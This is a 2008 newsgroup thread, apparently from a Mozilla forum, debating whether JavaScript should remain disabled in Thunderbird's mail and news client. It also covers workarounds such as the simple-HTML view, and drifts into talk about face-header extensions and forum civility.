Its done on security issues all the time for TB,SM, FF, windows
operating system, Mac operating system, UNIX, Linux. Why should TB,SM,FF
be any different.
Phillip M. Jones, C.E.T
> M KC wrote:
>> As I see it the basic argument is not whether JS should be enabled
>> both rather the user should have the choice of 'enabling' if they do
>> know how to take advantage of them. Those who do not 'want' or 'know'
>> can remain protected by the 'disabled' default setting
>
> Margaret, my point is that knowing that you want something to Just Work
> isn't the same as knowing what the consequences of it working are.
>
> Case in point are the multiple people who have thus far expressed an
> interest in enabling JS in the beta in their mail client, of whom none
> understand the risks involved as far as I can see. If some of the
> people involved have actually read the revision history of
> nsScriptSecurityManager.cpp and the bugs involved, I stand corrected, of
> course.
>
>> In my opinion that is logical solution. We both have equal rights to
>> choose.
>
> There are two issues here:
>
> 1) A reasonably large number of people will make a choice in this
> situation, and then when the choice damages them blame the entity that
> allowed the choice or insufficiently protected them from the "wrong"
> choice. And as far as the latter sentiment goes, they're right: if it's
> possible to enable JS, then doing so should not make using the
> application a minefield.
If they are aware of the risk and willing to use it anyway. Its the
users choice. You can't blame product vendor if they gave fair warning.
>
> 2) No one is taking away your choice if you want to be really pedantic
> about it. Anyone is free to take the source, modify it, and compile the
> result. You can remove the hard-disable of JS in mailnews (it's a
> one-line change). You can remove the entire security infrastructure
> (probably about a 30-line change).
>
> Again, all this is only relevant for the beta so far. In my view,
> giving users this choice in the beta as things stand is like giving the
> driver of a car a button on the dashboard that will make the engine 20%
> more powerful, but make it explode a lot more often when the car is
> started, and explode with probability 1 if some guy driving down the
> street doesn't like the way your car looks. How many people would push
> such a button (given that on average they own a car for only 3 years,
> and so only start it 1000 times)? Would selling such a car be likely to
> be legal, even? It sure seems to me to be unethical.
>
> -Boris
Phillip M. Jones, C.E.T
> On 06.10.2008 22:42, Boris Zbarsky wrote:
>
> --- Original Message ---
>
>>
>> No need for programming school. There are extensive step-by-step
>> instructions on the wiki for compiling Thunderbird, last I checked. I'd
>> be happy to point out to you the exact one-line change you'd need to
>> make to make yourself exploitable.
>>
>> Of course you probably shouldn't distribute those builds labeled as
>> Thunderbird.... then again, the beta won't be labeled Thunderbird either.
>
> As admin for several support venues I really can't wait for
> Joe-Weekend-user to attempt that. A very long extended vacation would be
> in my immediate future ... :-)
>
> Personally, as long as JS has been available in ALL
> Netscape/Communicator/TB/SM, etc. applications, I have NEVER had JS
> enabled .. but that's me.
>
I have had JS enabled in Mail and news as long as its been available. My
first taste of a Mozilla Product was Netscape 3.0.1.a and I had to pay
about $50 buck for it from netscape. I've used all version of
Communicator, the Mozilla, then SeaMonkey, FireFox, and Thunderbird.
For years I downloaded and tested nightlies. I got away from it when
developers didn't take my suggestions and bug reports seriously because
I was just a *user*. I still have my account on Bugzilla. I've used FF3,
SM2, TB 3 (Shredder) and FF sheretekco.
I guess I will no longer be testing those. now.
David A. Cobb
> Siddharth Agarwal wrote:
>> On Sun, Oct 5, 2008 at 9:08 PM, Moz Champion (Dan)
>> <moz.ch...@sympatico.ca> wrote:
>>> For those who are 'into' HTML in mail-news (and JS is an important part
>>> of such) most are NOT computer 'geeks' or developers. They are for the
>>> most part, users who want to creat multimedia content in email or news.
>>> If a program doesn't work, they will go to others, and once they become
>>> proficient in its use, drawing them back is a lost cause.
>> I'm curious to know exactly what you can do in a mail client with JS
>> that you cannot do with a link to a page holding the same content.
>>
IMNSHO, There is a clue to a solution here. I have NEVER NEVER enabled
any scripting in my mail, so maybe I'll be accused of not understanding
the problem.
It should not be a huge problem to give the user a button (or whatever)
that would save the e-mail in the TEMP area and call the browser to
render it. There are protections, such as NoScript, available to the
browser. I won't even bother suggesting to the NoScript author that he
make it work with TB also.
But, as long as mail arrives in my Inbox from parties I do not
personally know, I'm damned if I will permit any "active" content!
--
David A. Cobb, semi-retired mainframe T-Rex
JoeS
> It should not be a huge problem to give the user a button (or whatever)
> that would save the e-mail in the TEMP area and call the browser to
> render it. There are protections, such as NoScript, available to the
> browser. I won't even bother suggesting to the NoScript author that he
> make it work with TB also.
That would be a great feature to get browser grade javascript on mail co newsgroup content.
Even better would be "open message in a browser tab" There's a bug somewhere about that
TB can't pass the proper parameters to the browser.
At any rate, something that's not been mentioned in this discussion.
Thunderbird does, in fact have protection options built in. And that is in the "view" option.
Selecting View->Message body as-> "simple HTML" or Plaintext should ignore the <script> tag.
At least it does for me , in my testing.
--
Joe
![Foto del perfil de alta88[nntp]](http://lh3.googleusercontent.com/a-/ALV-UjUA6LqwHL3TKsLebE5-SwXQqtAZJOkobIl_A9x06nUxOiTLww=s40-c)
alta88[nntp]
---On 2008.Oct.07 07:37 PM, JoeS wrote:
>
> Selecting View->Message body as-> "simple HTML" or Plaintext should
> ignore the <script> tag.
> At least it does for me , in my testing.
>
JoeS, you may know already, but the simple HTML option will rewrite the
message including only the tags found in the
mailnews.display.html_sanitizer.allowed_tags pref. so you could either
have/not have script or img or anything as you like.
Onno Ekker
> On 10/7/08 2:11 PM, _Onno Ekker_ spoke thusly:
>> Peter Potamus the Purple Hippo wrote:
>>> ...
>> Looks like "they" disabled (X-)Face support too. I don't see a purple
>> hippo in your posts anymore, not even in TB2 :-(
>
> Thunderbird never had 'X-Face' support. That functionality is added by
> the Mnenhy extension <http://mnenhy.mozdev.org/customheaders.html>.
>
> Neither has Thunderbird supported the 'Face' header, which is what Peter
> used. That functionality is added by the MessageFaces extension
> <http://tecwizards.de/mozilla/messagefaces/>.
>
> What was that about users not blaming Thunderbird staff for their
> problems? ;-)
Yeah, yeah... I know. Sorry for going off topic without clearly stating so!
I *know* that when I point one finger at devs, I have three fingers
pointing backwards at me.
And I know MessageFaces brings me all those nice faces.
Having just installed it, it was very much fun seeing sow off the same
old faces again I saw 10 years ago when visiting these groups
predecessors using Xnews. At that time there was only X-Face I think,
but now users have more options, with colored faces and gravatars and
everything.
Keep them faces coming, I wanna see what you or your virtual identity
looks like!
Onno
Wayne Mery
> On 07.10.2008 15:12, CET - what odd quirk of fate caused Jay Garcia to
> generate the following:? :
>> On 07.10.2008 06:43, Simon Paquet wrote:
>>
>> --- Original Message ---
>>
>>>
>>> [insults deleted]
>>> Thanks for giving me good reason to ignore your posts from now on.
>>>
>>> For others:
>>> Please follow the guidance that David gave here in the thread:
>>>
>>> | * Please, stay civil. It's incredibly draining for people who spend
>>> | hours and hours trying to make a free program better to respond |
>>> constructively to vitriol, whether in bugs or mailing lists. If | you
>>> want a better Thunderbird, make the environment around it a | fun
>>> place for volunteers to be!
>>>
>>> Simon
>>>
>>
>> I didn't see any insults and I don't think that Boris did either as he
>> explained his postion quite accurately addressing reg's "concern".
>>
>
> some peoples' skin is very thin and sensitive, when it comes to critique
> - and I also think that my question was put in quite a civil manner -
> you (Jay) will be able to confirm that I /can/ - when I want to - be
> *very* critical.
>
> reg
Let's see...
"oh dear, Boris!
does this statement actually MEAN what it says?? That (one or some)
devs have fsck'd the core, opened unprecedented security risks - AND NOT
CLOSED THOSE HOLES ??
Boy, if true, that could be almost Criminal Negligence!
reg"
Perhaps said in jest? Or meant to be taken as satire? I have no idea,
since I don't understand your motivations. But from my perspective, I
fail to see the point of such comments, at least as it was worded.
http://www.dumblittleman.com/2007/12/arguing-101-learn-rules.html may be
a useful read.
sorry for the digression.
Peter Potamus the Purple Hippo
> Yeah, yeah... I know. Sorry for going off topic without clearly stating so!
> I *know* that when I point one finger at devs, I have three fingers
> pointing backwards at me.
some people just love to complain about OT stuff, and
he's the number 1 who does. ;-)
> And I know MessageFaces brings me all those nice faces.
> Having just installed it, it was very much fun seeing sow off the same
> old faces again I saw 10 years ago when visiting these groups
> predecessors using Xnews.
how can you view these groups 10 years ago? They've
only been around since 2006 [or thereabouts] :-)
> At that time there was only X-Face I think,
> but now users have more options, with colored faces and gravatars and
> everything.
> Keep them faces coming, I wanna see what you or your virtual identity
> looks like!
so, where's yours?
Onno Ekker
<peter.potamus.t...@gmail.com> wrote:
> Onno Ekker wrote:
>
>> Yeah, yeah... I know. Sorry for going off topic without clearly stating so!
>> I *know* that when I point one finger at devs, I have three fingers
>> pointing backwards at me.
>
> some people just love to complain about OT stuff, and
> he's the number 1 who does. ;-)
>
>> And I know MessageFaces brings me all those nice faces.
>> Having just installed it, it was very much fun seeing sow off the same
>> old faces again I saw 10 years ago when visiting these groups
>> predecessors using Xnews.
>
> how can you view these groups 10 years ago? They've
> only been around since 2006 [or thereabouts] :-)
I said "predecessors". As in old Netscape groups or even older groups.
But maybe I was exaggerating. 't Was well over 5 years ago anyway!
>
>> At that time there was only X-Face I think,
>> but now users have more options, with colored faces and gravatars and
>> everything.
>> Keep them faces coming, I wanna see what you or your virtual identity
>> looks like!
>
> so, where's yours?
I restored my old X-Face from my old Xnews and put it in my 1st
"contribution" to this thread. At the moment I'm reading this from the
mailinglist on google's webmail, and I haven't found a way to add (or
display) X-Face (or other custom) headers there yet :-(
Onno